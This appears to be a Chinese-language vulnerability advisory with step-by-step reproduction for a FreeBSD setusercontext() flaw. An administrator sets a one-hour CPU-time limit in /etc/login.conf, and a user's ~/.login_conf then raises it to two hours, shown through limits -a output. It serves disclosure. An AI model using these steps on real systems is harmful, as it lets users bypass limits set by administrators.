FreeBSD setusercontext()函数绕过安全限制漏洞

                                                1. 在/etc/login.conf中添加新的登录类

test:\
:cputime=1h:\
:tc=default:

2. Make db

# cap_mkdb /etc/login.conf

3. 更改账号的登录类

# pw usermod $login -L test

4. 通过$login以SSH连接到这个主机并执行limits -a

$ limits -a
Resource limits (current):
cputime 3600 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB

5. 创建~/.login_conf

me:\
:cputime=2h:

6. 再次连接到这个主机并执行limits -a

$ limits -a
Resource limits (current):
cputime 7200 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB